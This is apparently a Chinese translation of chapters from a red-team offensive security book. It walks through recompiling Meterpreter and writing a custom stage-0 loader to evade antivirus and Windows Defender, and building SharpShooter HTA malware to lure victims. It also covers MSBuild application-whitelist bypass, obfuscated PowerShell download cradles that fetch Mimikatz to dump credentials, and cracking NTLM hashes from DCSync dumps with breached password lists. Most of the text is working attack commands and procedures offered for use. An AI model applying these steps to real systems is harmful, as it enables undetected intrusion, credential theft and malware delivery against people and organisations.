络检测 这个话题有些复杂，您很可能在编译过程中遇到一些问题。有很多值得推荐的工具，如Metasploit/Meterpreter，每个杀毒软件和网络入侵检测（NID）工具都对这些工具进行签名。我们可以尝试使用Shikata Ga Nai软件对静荷进行混淆，并通过HTTPS进行混淆，这是目前常用的方式。任何类型的混淆通常都会有一个根签名，可以被发现和检测，杀毒软件在内存特定位置查看特定的字符串，网络设备实施中间人策略对HTTPS通信内容进行检查。那么如何才能持续使用我们选择的工具，同时绕过所有常见的安全防护机制呢？以Metasploit/Meterpreter为例，介绍一下如何绕过所有这些障碍。我们的目标是绕过二进制文件的杀毒软件签名、内存中的杀毒软件签名和网络流量签名。

为了规避所有的检测方法，我们需要做一些事情。首先，修改Meterpreter静荷，确保在网络流量和内存数据中，无法基于签名检测静荷。然后，修改metsvc持久性模块，防止被杀毒软件标识。接着，我们使用Clang编译部分metsrv（实际的Meterpreter静荷），同样防止被杀毒软件标识。最后，编写自己的stage0静荷，下载执行Meterpreter，规避所有的杀毒软件。

使用Clang编译metsrv（Meterpreter的网络服务包装器），删除metsrv/metsvc-server引用。

http://bit.ly/2H2kaUB。

修改静荷，去掉类似于Mimikatz的字符串。

http://bit.ly/2IS9Hvl。

修改反射性DLL注入字符串，删除类似于ReflectiveLoader的字符串。

http://bit.ly/2qyWfFK。

当Meterpreter在网络传输时，许多网络产品检测Meterpreter的0/1/2级加载模块。除了混淆静荷，我们还可以对实际的shellcode进行混淆。一个例子是遍历所有Ruby文件，获取不同的静荷类型，并添加随机nop字符，规避检测。

http：//bit.ly/2JKUhdx。

自定义Stage0静荷。

http：//bit.ly/2ELYkm8。

实验

在本实验中，我们将修改Metasploit/Meterpreter代码，重新编译它，确保可以规避基本的杀毒软件检测。

在开始前，先查看Metasploit的编译环境。

https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter。

https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit- Development- Environment。

Windows的环境设置如下所示。

Visual Studio 2013（VS2013）：Visual Studio社区版即可，另外，需要安装C/C ++编译环境。

在Windows中安装LLVM（32位）（安装Visual Studio之后，确保安装LLVM工具链）：可在LLVM官网下载LLVM 6。

在Windows中安装GNU Make（见SourceForge网站相关网页）：确保安装在系统路径，或者从应用程序安装路径运行。

Git-SCM（见Git官网）。

7.4.1　如何在Windows中构建Metasploit/Meterpreter

首先获取所有cyberspacekitten的存储库。作为原型系统，这些文件在实验室已经做了较大的修改。首先，我们需要下载框架和所有的静荷。

git clone https://github.com/cyberspacekittens/metasploit-framework。

cd metasploit-framework && git submodule init && git submodule update && cd ..。

git clone https://github.com/cyberspacekittens/metasploit-payloads。

cd metasploit-payloads && git submodule init && git submodule update && cd ..。

在存储库中修改字符串，采用Clang编译器进行编译，添加静荷nops，务必查看存储库之间的Metasploit差异，确切了解更改的内容。

编译Metasploit / Meterpreter

我们要做的第一件事，使用更新内容重新编译metsvc和metsvc-server。在Visual Studio 2013中运行其命令提示符，如下所示。

跳转到metsvc修改源代码所在的文件夹。

cd metasploit-framework\external\source\metsvc\src

使用make编译。

"C:\Program Files (x86)\GnuWin32\bin\make.exe"

将新创建的二进制文件移动到meterpreter文件夹。

copy metsvc.exe ..\..\..\..\data\meterpreter\。

copy metsvc-server.exe ..\..\..\..\data\meterpreter\。

接下来，修改Meterpreter静荷，使用提供的.bat文件进行编译。

cd metasploit-payloads\c\meterpreter。

make.bat。

编译所有内容后，生成两个文件夹（x86和x64）。将所有已编译的DLL复制到meterpreter文件夹。

copy metasploit-payloads\c\meterpreter\output\x86* metasploit-framework\data\ meterpreter。

copy metasploit-payloads\c\meterpreter\output\x64* metasploit-framework\data\ meterpreter。

这就是服务器版本的meterpreter。我们现在可以将整个metasploit-framework文件夹移动到Kali系统，启动反向HTTPS处理程序（windows/x64/meterpreter/reverse_https）。

7.4.2　创建修改后的Stage 0静荷

我们需要做的最后一件事是创建一个Stage 0静荷，让最开始的可执行文件绕过所有杀毒软件检测。您可能不是很了解，Meterpreter中的Stage 0是任何漏洞利用或静荷的第一阶段。这是一段代码，完成一件很简单的事情：以我们想要的方式（reverse_https、reverse_ tcp和bind_tcp等）回连或者监听，然后接收metsrv.dll文件。然后，加载这个文件并执行。从本质上来讲，任何Stage 0静荷只是一个美化的“下载并执行”静荷。这是Metasploit的所有功能的基础，在许多杀毒软件解决方案中都有针对Metasploit特定行为的高级签名技术和启发式检测方法，甚至修改shellcode并添加垃圾代码，仍然由于启发式检测而被标记。为了解决这个问题，我们编写了自己的Stage 0，执行同样的功能（在内存中下载和执行）：复制Meterpreter的reverse_https静荷的下载代码，从服务器获取metsrv.dll，然后在内存中存储并执行。

此处提供的具体静荷例子，具有一些更复杂的功能。这些静荷实现了位置无关，无须导入函数。这个代码是基于thealpiste的代码进行开发的（https://github.com/thealpiste/ C_ReverseHTTPS_Shellcode）。

提供的示例执行以下操作。

所有代码在内存中定位DLL和函数，实现执行功能；没有使用导入函数。通过手动定义使用的“桩子”函数，在内存中搜索这些函数。

Wininet用于执行HTTPS请求，返回配置后的Metasploit处理程序。

接收metsrv.dll，并执行数据模块。Metasploit提供这些文件，入口点是缓冲区的开头。

此功能实现的过程与msfvenom构建静荷过程是相同的。但是，msfvenom将这个过程添加到生成可执行文件模板中，采用的是可预测和检测的方式，但是不可配置。因此，大多数杀毒软件能够识别这些可执行文件。相反，通过一些编码技术，您可以重新设计静荷的功能，因为静荷很小，并且可以绕过当前存在的杀毒软件检测。在撰写本书时，静荷可以规避所有杀毒软件，包括Windows Defender。

创建静荷过程如下所示。

在Visual Studio 13中，打开metasploit-payloads\c\x64_defender_bypass\x64_defender_ bypass.vcxproj。

在x64_defender_bypass下有一个settings.h文件。打开该文件，修改HOST和PORT信息为Meterpreter处理程序信息。

确保编译设置为“Release”并编译“x64”。

保存并构建。

在metasploit-payloads\c\x64_defender_bypass\x64\Release下，创建一个新的二进制文件“x64_defender_bypass.exe”。在运行Windows Defender的被攻击计算机上执行此载荷。在构建此项目时，Windows Defender未检测到这个静荷。

您现在拥有一个深度混淆的Meterpreter二进制文件，传输层也进行混淆，绕过所有默认的保护机制。现在，这只是一个入门的原型系统。本书发行后，其中一些技术会被检测生成签名。您还可以采取更多的措施，规避检测工具。例如，您可以进行如下操作。

使用Clang混淆工具链编译。

对所有字符串使用字符串加密库。

更改Meterpreter入口点（当前为Init）。

创建自动脚本，为所有静荷类型添加nops。

编辑使用的Ruby脚本，生成静荷，静荷每次运行时都进行随机化。

7.5　SharpShooter

作为红队，较耗时的工作之一是创建静荷，规避下一代杀毒软件和沙箱。我们一直在寻找新的方法，创建初始入口。一个名为SharpShooter的工具采用了许多反沙箱技术，James Forshaw编写的DotNetToJScript可用来执行Windows脚本格式的shellcode（CACTUSTORCH工具见GitHub相关网页）。

MDSec网站介绍了SharpShooter：“SharpShooter支持分阶段和无阶段静荷执行。分阶段执行可以采用HTTP(S)、DNS或两者进行传输。当执行分阶段静荷时，它尝试检索C Sharp压缩的源代码文件，然后使用所选择的传递技术，进行base64编码。下载C Sharp项目源代码，在主机上使用.NET CodeDom编译器进行编译。然后，使用反射方法从源代码执行所需的方法。”

下面我们看一个简单的例子。

python SharpShooter.py --interactive。

1 - 适用于.NET v2。

Y - 分阶段静荷。

1 - HTA 静荷。

您可以选择技术，成功绕过沙箱，执行恶意软件。提供以下防沙箱技术。

域的密钥

确保加入域名

检查沙箱

检查错误的MAC

检查调试

1 - 网络传递。

Y - 内置shellcode模板。

shellcode作为字节数组。

打开一个新终端，创建一个csharp Meterpreter静荷

msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=10.100.100.9 LPORT= 8080 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f csharp

复制“{”和“}”之间的所有内容，采用字节数组形式提交

为CSharp网络传递提供URI。

输入攻击者的IP/端口和文件

提供输出文件的名称。

恶意软件

Y—您想要在HTML内部添加内容吗？

使用自定义（1）或预定义（2）模板。

要进行测试，可选择任何预定义模板

将新创建的恶意文件移动到您的网站目录。

mv output/* /var/www/html/

为静荷设置Meterpreter处理程序。

配置和开发恶意软件后，将其移至Web目录（malware.hta、malware.html、malware. payload），启动Apache 2服务，然后启动Meterpreter处理程序。现在采用社会工程学方法，引诱被攻击者访问恶意网站！上面给出的示例是SharpShooter的SharePoint在线模板。当被攻击者使用IE/Edge访问您的恶意页面时，HTA会自动下载并提示运行。弹出窗口后，如果选择运行，将运行静荷，下载第二静荷（如果规避沙箱监控），并在内存中执行Meterpreter静荷，如图7.2所示。

图7.2

7.6　应用程序白名单规避

我们已经讨论了在不运行PowerShell代码的情况下触发PowerShell的不同方法，但如果您无法在Windows系统上运行自定义二进制文件，该怎么办？应用程序规避的原理是找到默认的Windows二进制文件，执行静荷。我们登录类似域控制器设备，但是系统被锁定，代码执行受到限制。我们可以使用不同的Windows文件来绕过这些限制，让我们来看看其中的几个文件。

一个经常被讨论的Windows二进制文件是MSBuild.exe，实现绕过应用程序白名单。什么是MSBuild.exe，它有什么作用？MSBuild是.NET Framework中的默认应用程序，使用XML格式的项目文件，构建.NET应用程序。我们可以利用这个功能，使用名为GreatSCT的工具，创建自己的恶意XML项目文件，执行Meterpreter会话。

GreatSCT（见GitHub中的GreatSCT网页）包括各种应用程序白名单绕过方法，这里我们只介绍MSBuild。在这个例子中，我们创建恶意的XML文件，该文件承载一个reverse_http Meterpreter会话。这将要求我们在被攻击系统中写入XML文件，使用MSBuild执行XML文件，如图7.3所示。

git clone https://github.com/GreatSCT/GreatSCT.git /opt/。

cd /opt/GreatSCT。

python3 ./gr8sct.py。

[4] MSBUILD/msbuild.cfg。

图7.3

Enter your host IP [0] and port [1]输入主机ZP地址和端口。

generate创建文件。

在Metasploit中创建windows/meterpreter/reverse_http handles。

在Kali实例中，我们使用GreatSCT创建shellcode.xml文件，该文件包含构建信息和Meterpreter反向HTTP Shell。需要将此文件移动到被攻击系统，并使用MSBuild进行调用，如图7.4所示。

图7.4

注意：我确实看到GreatSCT正在“开发”分支（见GitHub中GreatSCT页面的tree/develop子页面）上积极构建，其中包括HTTPS Meterpreter和其他白名单绕过机制。我猜测在本书出版之后，它将被转移到“主版本”。

一旦在被攻击的计算机的Windows上具备执行权限，使用命令“C:\Windows\Microsoft. NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml”，.NET将开始构建shellcode.xml文件。在这个过程中，被攻击的计算机将生成反向HTTP Meterpreter会话，绕过任何应用白名单机制，如图7.5所示。您可能希望编辑shellcode.xml文件，放入混淆的静荷，因为默认的Meterpreter很可能会触发杀毒软件。

有许多不同的方法可以绕过应用程序白名单机制，这些方程足够编写为一本书。

图7.5

7.7　代码洞穴

与任何红队活动一样，我们一直在寻找富有创造性的方式，在环境中横向移动或长期控制。通常情况下，如果掌握凭证，我们就会尝试使用WMI或PsExec在远程系统上执行静荷。有时，我们需要采用富有创造性的方式，在一个环境中移动而不被轻易跟踪。

作为红队，在行动中被发现，可能并不是最糟糕的事情。最糟糕的事情是被发现，并且蓝队发现行动中的域名、IP地址和突破的主机。蓝队通过查看WMI/PsExec连接，识别横向移动，因为这些流量看起来不是正常的流量。那么，我们可以做些什么来隐藏横向移动呢？

这是我们发挥创造力的地方，并且没有正确的答案（如果有效，那么对我来说已经足够了）。我最喜欢做的事情就是在环境中发现共享目录和主动共享/执行的文件。我们可以尝试在Office文件中添加宏，但这可能太明显了。将定制恶意软件嵌入可执行二进制文件，这种攻击方式被发现的概率较低，成功率高。这可以是类似PuTTY的共享二进制文件，一个常见的内部胖客户端，甚至是数据库工具。

执行这些攻击的一个简单工具是Backdoor Factory，虽然它不再维护。Backdoor Factory在真实程序中查找代码洞或空块，攻击者可以在其中注入自己的恶意shellcode。本书第2版介绍了这项技术。

7.8　PowerShell混淆

PowerShell 脚本现在的问题是，如果您将脚本放到磁盘上，那么很多杀毒软件都会查杀脚本。即使您将脚本导入内存，杀毒软件通过查看内存，也可能发出警报。

无论如何，如果您从Cobalt Strike、Meterpreter或PowerShell Empire将脚本导入内存，那么需确保不会被杀毒软件发现。如果我们将脚本导入内存，那么至少应急响应/取证团队应该很难逆向分析我们的攻击静荷。

让我们来查看PowerShell的命令，如下所示。

Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('[PowerShell URL]'); [Parameters]。

这是我们看到的最基本的字符串组合，可以绕过执行策略，隐藏运行/非交互，以及下载和执行PowerShell静荷。对于蓝队，我们已经看到有很多日志，记录这些特定的参数，例如“-Exec Bypass”。因此，我们通过一些常见的PowerShell语法混淆这些参数。

-ExecutionPolicy Bypass。

-EP Bypass

-Exec Bypass

-Execution Bypass

更疯狂的是，我相信Daniel Bohannon识别出了这个，您根本不需要完整的字符串来完成上述操作。例如，对于-ExecutionPolicy Bypass，以下的这些例子都将能正常工作。

-ExecutionPolicy Bypass。

-ExecutionPol Bypass。

-Executio Bypass。

-Exec Bypass。

-Ex Bypass。

这些技术同样适用于WindowStyle甚至EncodedCommand参数。当然，这些技巧目前是可以使用的，我们需要创建更多混淆变换的方法。首先，我们提供一个非常简单的示例，使用PowerShell管理命令行，执行我们的远程PowerShell脚本（在本例中是mimikatz），实现转储散列的功能。

Invoke-Expression (New-Object Net.WebClient).DownloadString('http://bit.ly/ 2JHVdzf'); Invoke-Mimikatz –DumpCreds。

使用（Invoke-Obfuscation），输入字符串，使用几种不同的技术对字符串进行深度混淆。

在Windows中，下载Invoke-Obfuscation PowerShell文件。

加载PowerShell脚本，启动Invoke-Obfuscation。

Import-Module ./Invoke-Obfuscation.psd1

Invoke-Obfuscation

设置混淆的PowerShell脚本。在这种情况下，我们混淆下载的脚本，运行mimikatz，转储散列。

SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).
DownloadString ('http://bit.ly/2JHVdzf'); Invoke-Mimikatz -DumpCreds

编码静荷。

编码

在这种情况下，我选择了SecureString（AES），但您可以使用所有混淆技术，如图7.6所示。

图7.6

如果查看混淆的字符串，会发现有一个随机生成的密钥和加密的安全字符串。执行管理员权限PowerShell，我们仍然可以执行完整的静荷，如图7.7所示。

图7.7

回到主屏幕，创建混淆的加载器，如图7.8所示。

图7.8

main。

launcher。

CLIP++。

Choose your execution flags。

更好的是，我们可以查看Windows PowerShell日志，但它非常隐蔽，对于规避杀毒软件和安全信息工具警报非常有帮助，如图7.9所示。

图7.9

除Invoke-Obfuscation工具外，Daniel还研制了一个Invoke-CradleCrafter工具，实现远程下载的功能。Invoke-CradleCrafter工具为蓝队和红队开展研究、生成和混淆PowerShell远程下载提供了支持。此外，这个工具有助于帮助蓝队测试Invoke-Obfuscation输出结果的有效性。Invoke-CradleCrafter的缺陷是不包含任何字符串连接、编码、标识和类型转换等功能。

7.9　没有PowerShell的PowerShell

您最终在一个设备上获得远程代码执行权限，但您发现无法运行PowerShell.exe或者公司正在监视PowerShell.exe命令。您有什么办法让PowerShell静荷或者命令和控制代理在主机系统上运行？

1．NoPowerShell（NPS）

我喜欢NoPowerShell（NPS）的概念。NPS是一个Windows二进制文件，它通过.NET执行PowerShell，而不是直接调用PowerShell.exe。虽然目前杀毒软件通常会对操作行为进行标记，但是我们可以使用相同的思路创建二进制文件，直接执行PowerShell恶意软件，无须运行PowerShell.exe。由于Ben0xA提供了源代码，因此可以尝试对二进制文件进行混淆处理，从而规避杀毒软件。

另外一个使用NPS原理的是TrustedSec工具，它利用了通过MSBuild.exe执行代码的优势。此工具将PowerShell静荷生成到msbuild_nps.xml文件中，该文件在调用时执行。XML文件可以通过以下方式调用。

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exeC:\<pathto_msbuild nps.xml>。

2．SharpPick

SharpPick是PowerPick的一个组件，它是一个值得推荐的工具，允许调用PowerShell功能，而无须使用PowerShell.exe二进制文件。在SharpPick中，RunPS函数使用System.Management.Automation函数在PowerShell运行空间中执行脚本，无须启动PowerShell进程。

下载SharpPick后，您可以使用PowerShell Empire静荷，创建二进制文件。

有时可能无法在主机系统上放置二进制文件。在这些情况下，可以创建一个类库（DLL文件），我们可以将DLL文件放到系统，并使用“rundll32.exe runmalicious.dll,EntryPoint”执行。

当然，可以使用Meterpreter或Cobalt Strike自动创建这些DLL文件，从而可以灵活地运行特定的PowerShell静荷，而无须调用PowerShell.exe。

7.10　HideMyPS

几年前，我制作了一个工具HideMyPS，取得了非常好的效果。它始终只是一个POC工具，但即使经过这么多年，它仍然可以工作。我遇到的问题是，现在PowerShell脚本都会被杀毒软件查杀。例如，如果我们在运行Windows Defender的Windows系统中，删除正常的Invoke-Mimikatz.ps1，它将立即查杀PowerShell脚本，并在相应位置标记红色。这是传统杀毒软件的一个主要缺点，杀毒软件通常在恶意软件中寻找特定的字符串。因此，我整理了一个小的Python脚本，该脚本采用PowerShell脚本对所有字符串进行混淆处理（由于仅仅使用少量的脚本进行测试，因此它远达不到生产代码标准）。

HideMyPS将查找所有函数，并使用ROT对其进行混淆处理，从PowerShell脚本中删除所有注释，剪切字符串规避杀毒软件的静态签名查杀。下面的例子中，我们将使用Invoke_ Mimikatz.ps1，混淆PowerShell文件，如图7.10所示。

cd/opt/HideMyPS。

python hidemyps.py invoke_mimikatz.ps1 [filename.ps1]。

图7.10

现在，查看原始文件和创建的新文件之间的区别。首先，您可以看到函数名称全部混淆，变量已经更改，字符串被分成两半，并且所有注释都删除了，如图7.11所示。

图7.11

您必须记住的一件事是我们更改了PowerShell脚本中的所有函数名称。因此，为了调用这些函数，需要重新查看混淆后的文件，看一看我们是如何替换“function Invoke-Mimikatz”的。在这种情况下，Invoke-Mimikatz更改为Vaibxr-Zvzvxngm。以下示例是在打了完整补丁的Windows 10中运行的，其中Defender已更新至较新的病毒库，如图7.12所示。

图7.12

7.11　结论

作为红队或者渗透测试人员，总是需要与主机和网络检测工具进行“猫捉老鼠”的游戏。这就是为什么需要理解防护系统底层的工作原理、编写底层代码来直接与Windows API进行交互而不是使用Shell命令、跳出设备本身进行思考并发挥创造性等非常重要。如果您仅仅专注于使用常规的工具，那么在企业环境中被检测发现的可能性非常高。如果这些工具是公开的，那么在该工具出现后，安全厂商可能会逆向分析这些工具，并生成工具的签名。作为红队，在实际的攻击中，您需要利用系统漏洞，定制开发工具，防止工具被安全厂商识别。

第8章　特勤组——破解、利用和技巧

本章重点介绍各种有用的资源，这些资源对红队和渗透测试人员非常有用。虽然这些资源并不一定在每次行动中都用到，但是对于特定场景或个别场景非常有用。

8.1　自动化

随着基于启发式的终端安全防护机制越来越强大，攻击方式需要快速应变。我们通常可以编写恶意软件规避杀毒软件的检测，即使通过了初次安全防护检测，但是一旦使用类似mimikatz（在内存中）工具或者横向渗透到另一台主机，就会引发警报。为了解决这个问题，我总是告诉红队在首次尝试攻击时就被发现。在通常情况下，蓝队在发现我们的基本/默认样式（或稍微混淆）的恶意软件时，认为取得胜利，但是首次尝试的真正目的是了解目标的环境。初始静荷自动运行多个侦察脚本，实现上述目的。在下文中，我们将介绍一些快速自动运行的脚本，这些脚本可以帮助我们自动化一些攻击。

8.1.1　使用RC脚本自动化Metasploit

使用Metasploit，我们可以高效运行后渗透脚本，方法如下。

在Metasploit中，搜索所有后期渗透利用模块。

msfconsole。

show post。

从“post”结果中，选择要使用的所有模块，方便在Meterpreter Shell中自动执行。在这种情况下，添加特权迁移后渗透模块（http://bit.ly/2vn1wFB）。配置Meterpreter Shell，在受感染主机的初始连接中，运行这个静荷，我们需要指定AutoRunScript参数。您可以根据需要，添加尽可能多的AutoRunScript，实现转储有关系统/网络的信息、横向移动等功能。

下面创建处理程序和AutoRunScript。

创建处理程序。

gedit handler.rc

配置处理程序，运行脚本。

use multi/handler

set payload windows/meterpreter/reverse_https

set LHOST 10.100.100.9

set LPORT 443

set AutoRunScript post/windows/manage/priv_migrate

set ExitOnSession false

set EnableStageEncoding true

exploit -j

运行处理程序。

msfconsole -r handler.rc

8.1.2　Empire自动化

Empire具有与Metasploit资源文件类似的功能，可以自动完成许多重复性任务。首先，我们需要创建一个文件（在示例中，创建一个名为/opt/empire_autoload.rc的文件），然后在Empire实例中加载它。

在单独的终端窗口中，创建处理程序文件。

gedit /opt/empire_autoload.rc

添加您需要执行的后渗透模块。

usemodule
situational_awareness/network/powerview/get_user

execute

back

usermodule
situational_awareness/network/powerview/get_computer

execute

back

在Empire中加载autoload.rc资源文件，如图8.1所示。

agents

autorun /opt/empire_autoload.rc powershell

autorun show

图8.1

正如您看到的，当代理回连时，它会自动运行get_user和get_computer PowerShell脚本。这些脚本的所有结果都存储在agent.log文件中。在这种情况下，我们的代理名称为N6LM348G，因此，日志将存储在/opt/Empire/downloads/N6LM348G/agent.log中。

8.1.3　Cobalt Strike自动化

Cobalt Strike功能强大的主要原因之一是Aggressor Script。使用Cobalt Strike的Aggressor Script，您不仅可以配置自动运行样式脚本，而且可以创建非常复杂的攻击。

例如，我经常碰到共享工作站的情况，比如实验室或会议室。我可能希望代理程序做的一件事是每隔半小时运行mimikatz获取明文凭证。使用Aggressor Script，我们可以执行这些操作以及其他更多的操作。

8.1.4　自动化的未来

最后，有一些很值得关注的项目正朝着自动化、智能化突破和APT攻击的方向发展。我坚信攻击的自动化将成为未来的突破，我们需要能够有这种能力从而测试/验证安全防护机制的效果。我认为在自动化方面具有巨大潜力的两个工具是Portia和Caldera。

8.2　密码破解

我最新的密码字典是最近的41GB密码转储，其中包含14亿用户名及其密码。现在，我不想直接提供torrent链接，因为其中包含很多敏感的用户名（或电子邮件）和相关密码，您可以搜索BreachCompilation.tar.bz2查找更多的相关信息。在下载这些非常敏感的信息之前，请查阅当地的法律条款。我建议您不要下载原始转储，而只是下载密码列表。我已经下载了41 GB转储，删除了所有用户名/电子邮件，只获取了密码字典。在我的个人主机上，使用8x Gigabyte GV-N108TTURBO-11GD AORUS GeForce GTX 1080 Ti Turbo 11G显卡。您可以自己搭建一个硬件，包括机箱、内存、电源、SSD硬盘和GPU显卡。当然，机箱至少需要4U机架（例如，SYS-4028GR-TR2）和功率足够大的电源。虽然价格不菲，但我们可以每秒大约计算472 000 000 000个散列值，暴力破解NTLM（Windows）散列值。这是8个GPU的hashcat基准测试，散列模式为1000 - NTLM。

Speed.Dev.#1.....: 59436.3 MH/s (63.16ms)
Speed.Dev.#2.....: 58038.3 MH/s (64.70ms)
Speed.Dev.#3.....: 59104.4 MH/s (63.55ms)
Speed.Dev.#4.....: 59123.0 MH/s (63.52ms)
Speed.Dev.#5.....: 58899.7 MH/s (63.74ms)
Speed.Dev.#6.....: 59125.8 MH/s (63.51ms)
Speed.Dev.#7.....: 59256.3 MH/s (63.36ms)
Speed.Dev.#8.....: 59064.5 MH/s (63.56ms)
Speed.Dev.#*.....: 472.0 GH/s

对于那些买不起大型GPU设备的人来说，还有其他选择。虽然也不是很便宜，但您可以考虑云破解。最近，亚马逊云集成了TESLA GPU（不是汽车），处理能力比1080Ti更强。在Medium上有一篇很棒的文章介绍如何基于这些GPU搭建破解服务器。

来自Iraklis Mathiopoulos论文的统计数据，散列模式为1000 - NTLM。

Speed.Dev.#1.....: 79294.4 MH/s (33.81ms)
Speed.Dev.#2.....: 79376.5 MH/s (33.79ms)
Speed.Dev.#3.....: 79135.5 MH/s (33.88ms)
Speed.Dev.#4.....: 79051.6 MH/s (33.84ms)
Speed.Dev.#5.....: 79030.6 MH/s (33.85ms)
Speed.Dev.#6.....: 79395.3 MH/s (33.81ms)
Speed.Dev.#7.....: 79079.5 MH/s (33.83ms)
Speed.Dev.#8.....: 79350.7 MH/s (33.83ms)
Speed.Dev.#*.....: 633.7 GH/s

NTLM计算总的速度比使用TESLA GPU大约快34%。运行AWS云的总成本约为每小时25美元。因此，您需要统筹规划自己的预算、要求和目标。

实验

最近，Troy Hunt 在“Have I Been Pwned”网站上发布了一个密码散列的SHA1列表，压缩文件大小约为5.3 GB。这是由以前泄露的数据生成的大字典，可以作为一份测试密码破解能力的实验数据。

随着这些GPU变得越来越快，10个字符以下的密码可以在相对合理的时间范围内进行智能破解。其中一些使用设置合理的密码掩码可以实现破解，但在大多数情况下，需要使用密码字典破解。使用真实漏洞的密码字典是破解大于12个字符密码的一种极快的方法。查看过去所有的泄露数据，我们可以很快地了解人类如何创建密码、混淆密码的常用技巧以及常用的单词。

使用具有复杂规则集的这些密码字典，我们将能够快速破解密码（有时超过25个字符）。但是请记住，密码字典取决于构建方式和更新方式。作为红队，我们定期跟踪破解的所有账户，分析它们，并将它们添加到密码字典中。我们还需要不断监控新的数据泄露、pastebin/pastie类型的网站等，查找新的密码。

常用的密码字典

berzerk0 Real-Password-WPA密码字典。

18.6 GB Uncompressed。

http://bit.ly/2EMs6am

berzerk0 Dictionary-Style字典。

1 GB Uncompressed

http://bit.ly/2GXRNus

Xato Million Passwords。

magnet:?xt=urn:btih:32E50D9656E101F54120ADA3CE73F7A65EC9D5CB

Hashes.org。

http://hashes.org/left.php

Multiple Gigabytes and growing daily

Crackstation。

15 GB Uncompressed

Weakpass。

Tons of password lists

First20Hours。

这个库包含按频率顺序排列的10 000个常见的英语单词列表，由Google的Trillion Word Corpus的N-Gram频率分析生成

SkullSecurity.org。

很多老的字典库，例如 rockyou、myspace和phpbb

Daniel Miessler's Password Compilation。

Adeptus-mechanicus Hash dumps。

将好的密码字典进行组合，我们可以在这些密码字典之上，添加规则，查找更多密码。就hashcat而言，规则定义了是否需要对密码字典进行修改。介绍规则的一种方式是使用一个易于理解的例子。我们可以使用KoreLogicRulesAppendYears规则集，如下所示。

cAz"19[0-9][0-9]"。

Az"19[0-9][0-9]"。

cAz"20[01][0-9]"。

Az"20[01][0-9]"。

它会在每个密码后面附加1949年～2019年的年份。如果密码字典中包含单词“hacker”，那么它会尝试计算字符串“hacker1949”～“hacker2019”的散列值。请记住，您制定的规则越复杂，完成单词列表所需的时间就越多。

幸运的是，我们不需要自己创建规则，因为已经有很多很好的规则。当然，还有默认的hashcat规则，它们来自许多较早的数据泄露，以及常见的密码操作方法。这是一个很好的起点。Kore规则来自Korelogic的密码竞赛，是另外一个标准。另外，NSAKEY和Hob0Rules这两个规则肯定需要更长的时间，但有非常详细的规则集。在过去，我应用所有规则，将它们放到一个文件中，并且唯一标识这个文件。但是现在，NotSoSecure已经为您完成这个功能，规则如下。

Hashcat规则。

Kore规则。

NSAKEY Rules (One of my favorite) *Forked。

Praetorian-inc Hob0Rules *Forked。

NotSoSecure - One Rule to Rule Them All *Forked。

8.3　彻底破解全部——尽您所能快速破解

您突破CSK公司，获取了大量的密码。在有限的时间内，您如何取得最好的“收益”？以下演练将指导您完成初始步骤，我们需要尽可能多地破解密码。虽然，我们通常只需要几个域管理员、LDAP 管理员和公司管理员账户，但我的强迫症倾向驱使我破解所有密码。

在开始之前，您确实需要了解散列的密码格式。一旦理解了散列类型，最好先进行一些初始测试，确定密码散列算法的速度。这将对您的密码破解方法产生巨大影响。例如，在查看Windows散列时，我们看到NTLM（Windows）的执行速度大约是5 000 MH/s。常见的Linux散列值SHA-256的执行速度约为5 000 MH/s。

这意味着对于SHA-256散列，您的GPU可以每秒猜测5 000 000 000次。这可能看起来很多，但是当您有大量的单词字典和复杂规则集时，它可能不够强大。这是因为与NTLM相比，SHA-256算法的计算速度非常慢且成本高，NTLM可以达到每秒75 000 000 000个散列值。在例子中，我们将使用8个1080Ti GPU，通过NTLM的快速散列转储。

破解Cyber SpaceKittens NTLM散列

在获得域管理员访问权限后，您可以使用DCSync攻击方法，从域控制器转储所有散列值。您现在的目标是尽可能多地尝试破解散列。您能够在以后的行动中使用这些账户，并向被攻击者公司展示员工密码使用方面的问题。

我们在名为cat.txt的文件中保存所有NTLM Windows散列值。为了使读者更容易理解，我们将省略初始的hashcat执行命令。每个命令执行都将以“hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt”开头。

hashcat：运行hashcat工具。

-w 3：使用固定的配置。

-m 1000：散列值的格式为 NTLM。

-o hashes.cracked：结果输出到文件中。

./hashes/cat.txt：散列值存储的位置。

因此，每当您看到“[hashcat]”字符串时，可使用以下命令替换它：“hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt”。现在，快速破解NTLM散列值，我们可以在8 个GPU 1080Ti平台上高效工作。

对于长度为1～7个字符的任何字母、数字或特殊字符（?a），使用攻击模式“brute-force”（-a 3）破解所有7个字符或更少的密码（增量）。

[hashcat] -a 3 ?a?a?a?a?a?a?a --increment

7个字符alpha/num/special破解总时间约为5min。8个字符需要运行9h。

您还可以限制特殊字符为少数（!@＃$%^），这将显著减少破解时间和复杂度。

接下来，将所有常见密码字典转储与散列值进行比较。第一个文件（40GB_ Unique_File.txt）是一个3.2 GB大小的密码文件，运行大约需要9s。

[hashcat] ./lists/40GB_Unique_File.txt

正如我们所看到的，即使是最大的文件，计算的时间也只需要几秒。为了提高效率，我们实际上可以使用“*”运算符，与./lists/文件夹中的每个密码字典进行比较。

[hashcat] ./lists/*

接下来，基于散列算法的速度，可以在单个密码字典文件上尝试不同的规则集。我们将从rockyou规则集开始，这些NTLM散列值大约需要2min9s。

[hashcat] ./lists/40GB_Unique_File.txt -r ./rules/rockyou-30000.rule

注意：使用3 GB大小文件设置NSAKEY规则，大约需要7min，而NotSoSecure的“The one rule to rule them all”规则集大约需要20min

我重新使用其他密码字典和规则集组合。所有大型规则集和大型密码字典组合的第一轮，我们至少可以提高30%的破解率。

接下来，我们开始在密码字典的右侧添加字符，满足更长密码破解需求。下面显示的-a 6开关命令，将每个字母/数字/特殊字符添加到密码右侧，从1个字符开始一直到4个字符。

[hashcat] -i -a 6 ./lists/found.2015.txt ?a?a?a?a

需要花费大约30min时间完成4个字符的尝试

我们还可以在密码列表的左侧添加字符。以下命令将每个字母/数字/特殊字符添加到密码的左侧，从1个字符开始一直到4个字符。

